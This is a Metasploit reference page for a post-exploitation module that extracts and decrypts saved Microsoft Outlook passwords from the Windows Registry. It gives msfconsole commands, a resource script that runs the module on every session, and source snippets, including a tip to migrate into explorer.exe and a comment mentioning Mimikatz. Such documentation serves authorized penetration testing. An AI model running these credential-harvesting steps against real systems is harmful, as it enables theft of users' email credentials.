Windows Gather Microsoft Outlook Saved Password Extraction - Metasploit


This page contains detailed information about how to use the post/windows/gather/credentials/outlook metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

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Module Overview

Name: Windows Gather Microsoft Outlook Saved Password Extraction
Module: post/windows/gather/credentials/outlook
Source code: modules/post/windows/gather/credentials/outlook.rb
Disclosure date: -
Last modification time: 2021-10-06 13:43:31 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module extracts and decrypts saved Microsoft Outlook (versions 2002-2010) passwords from the Windows Registry for POP3/IMAP/SMTP/HTTP accounts. In order for decryption to be successful, this module must be executed under the same privileges as the user which originally encrypted the password.

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/windows/gather/credentials/outlook

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/windows/gather/credentials/outlook
msf post(outlook) > show options
    ... show and set options ...
msf post(outlook) > set SESSION session-id
msf post(outlook) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/windows/gather/credentials/outlook")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options

  • SESSION: The session to run this module on.

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Msfconsole Usage

Here is how the windows/gather/credentials/outlook post exploitation module looks in the msfconsole:

msf6 > use post/windows/gather/credentials/outlook

msf6 post(windows/gather/credentials/outlook) > show info

       Name: Windows Gather Microsoft Outlook Saved Password Extraction
     Module: post/windows/gather/credentials/outlook
   Platform: Windows
       Arch: 
       Rank: Normal

Provided by:
  Justin Cacak

Compatible session types:
  Meterpreter

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  SESSION                   yes       The session to run this module on.

Description:
  This module extracts and decrypts saved Microsoft Outlook (versions 
  2002-2010) passwords from the Windows Registry for 
  POP3/IMAP/SMTP/HTTP accounts. In order for decryption to be 
  successful, this module must be executed under the same privileges 
  as the user which originally encrypted the password.

Module Options

This is a complete list of options available in the windows/gather/credentials/outlook post exploitation module:

msf6 post(windows/gather/credentials/outlook) > show options

Module options (post/windows/gather/credentials/outlook):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on.

Advanced Options

Here is a complete list of advanced options supported by the windows/gather/credentials/outlook post exploitation module:

msf6 post(windows/gather/credentials/outlook) > show advanced

Module advanced options (post/windows/gather/credentials/outlook):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Post Actions

This is a list of all post exploitation actions which the windows/gather/credentials/outlook module can do:

msf6 post(windows/gather/credentials/outlook) > show actions

Post actions:

   Name  Description
   ----  -----------

Evasion Options

Here is the full list of possible evasion options supported by the windows/gather/credentials/outlook post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(windows/gather/credentials/outlook) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

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Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

User Password: <not stored>

Here is a relevant code snippet related to the "User Password: <not stored>" error message:

134:	          pop3_use_spa = get_valdata(k, 'POP3 Use SPA')
135:	          smtp_port = get_valdata(k, 'SMTP Port')
136:	
137:	          print_status("     User Name: #{pop3_user}")
138:	          if pop3_pw.nil?
139:	            print_status("     User Password: <not stored>")
140:	          else
141:	            pop3_pw.slice!(0, 1)
142:	            pass = decrypt_password(pop3_pw)
143:	            print_status("     User Password: #{pass}")
144:	            # Prepare data for creds

User Password: <not stored>

Here is a relevant code snippet related to the "User Password: <not stored>" error message:

204:	          http_user = get_valdata(k, 'HTTP User')
205:	          http_use_spa = get_valdata(k, 'HTTP Use SPA')
206:	
207:	          print_status("     User Name: #{http_user}")
208:	          if http_password.nil?
209:	            print_status("     User Password: <not stored>")
210:	          else
211:	            http_password.slice!(0, 1)
212:	            pass = decrypt_password(http_password)
213:	            print_status("     User Password: #{pass}")
214:	            got_user_pw = 1

User Password: <not stored>

Here is a relevant code snippet related to the "User Password: <not stored>" error message:

236:	          imap_password = get_valdata(k, 'IMAP Password')
237:	          smtp_port = get_valdata(k, 'SMTP Port')
238:	
239:	          print_status("     User Name: #{imap_user}")
240:	          if imap_password.nil?
241:	            print_status("     User Password: <not stored>")
242:	          else
243:	            imap_password.slice!(0, 1)
244:	            pass = decrypt_password(imap_password)
245:	            print_status("     User Password: #{pass}")
246:	            got_user_pw = 1

Microsoft Outlook not installed or Exchange accounts are being used.

Here is a relevant code snippet related to the "Microsoft Outlook not installed or Exchange accounts are being used." error message:

363:	        print_status("")
364:	      end
365:	    end
366:	
367:	    if outlook_exists == 0
368:	      print_status("Microsoft Outlook not installed or Exchange accounts are being used.")
369:	    elsif saved_accounts == 0
370:	      print_status("Microsoft Outlook installed however no accounts stored in Registry.")
371:	    end
372:	  end
373:

Microsoft Outlook installed however no accounts stored in Registry.

Here is a relevant code snippet related to the "Microsoft Outlook installed however no accounts stored in Registry." error message:

365:	    end
366:	
367:	    if outlook_exists == 0
368:	      print_status("Microsoft Outlook not installed or Exchange accounts are being used.")
369:	    elsif saved_accounts == 0
370:	      print_status("Microsoft Outlook installed however no accounts stored in Registry.")
371:	    end
372:	  end
373:	
374:	  def outlook_version
375:	    val = registry_getvaldata("HKCR\\Outlook.Application\\CurVer", "")

Microsoft Outlook version not found in registry.

Here is a relevant code snippet related to the "Microsoft Outlook version not found in registry." error message:

380:	  end
381:	
382:	  def run
383:	    # Get Outlook version from registry
384:	    outlook_ver = outlook_version
385:	    fail_with(Failure::NotFound, "Microsoft Outlook version not found in registry.") if outlook_ver.nil?
386:	
387:	    print_status("Microsoft Outlook Version: #{outlook_ver}")
388:	    uid = session.sys.config.getuid # Get uid.  Decryption will only work if executed under the same user account as the password was encrypted.
389:	    # **This isn't entirely true. The Master key and decryption can be retrieved using Mimikatz but it seems like more work than it's worth.
390:

This module is running under <UID>.

Here is a relevant code snippet related to the "This module is running under <UID>." error message:

387:	    print_status("Microsoft Outlook Version: #{outlook_ver}")
388:	    uid = session.sys.config.getuid # Get uid.  Decryption will only work if executed under the same user account as the password was encrypted.
389:	    # **This isn't entirely true. The Master key and decryption can be retrieved using Mimikatz but it seems like more work than it's worth.
390:	
391:	    if is_system?
392:	      print_error("This module is running under #{uid}.")
393:	      print_error("Automatic decryption will not be possible.")
394:	      print_error("Migrate to a user process to achieve successful decryption (e.g. explorer.exe).")
395:	    else
396:	      print_status("Searching for Microsoft Outlook in Registry...")
397:	      prepare_railgun

Automatic decryption will not be possible.

Here is a relevant code snippet related to the "Automatic decryption will not be possible." error message:

388:	    uid = session.sys.config.getuid # Get uid.  Decryption will only work if executed under the same user account as the password was encrypted.
389:	    # **This isn't entirely true. The Master key and decryption can be retrieved using Mimikatz but it seems like more work than it's worth.
390:	
391:	    if is_system?
392:	      print_error("This module is running under #{uid}.")
393:	      print_error("Automatic decryption will not be possible.")
394:	      print_error("Migrate to a user process to achieve successful decryption (e.g. explorer.exe).")
395:	    else
396:	      print_status("Searching for Microsoft Outlook in Registry...")
397:	      prepare_railgun
398:	      get_registry(outlook_ver)

Migrate to a user process to achieve successful decryption (e.g. explorer.exe).

Here is a relevant code snippet related to the "Migrate to a user process to achieve successful decryption (e.g. explorer.exe)." error message:

389:	    # **This isn't entirely true. The Master key and decryption can be retrieved using Mimikatz but it seems like more work than it's worth.
390:	
391:	    if is_system?
392:	      print_error("This module is running under #{uid}.")
393:	      print_error("Automatic decryption will not be possible.")
394:	      print_error("Migrate to a user process to achieve successful decryption (e.g. explorer.exe).")
395:	    else
396:	      print_status("Searching for Microsoft Outlook in Registry...")
397:	      prepare_railgun
398:	      get_registry(outlook_ver)
399:	    end

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See Also

Check also the following modules related to this module:

Authors

  • Justin Cacak

Version

This page has been produced using Metasploit Framework version 6.2.29-dev. For more modules, visit the Metasploit Module Library.

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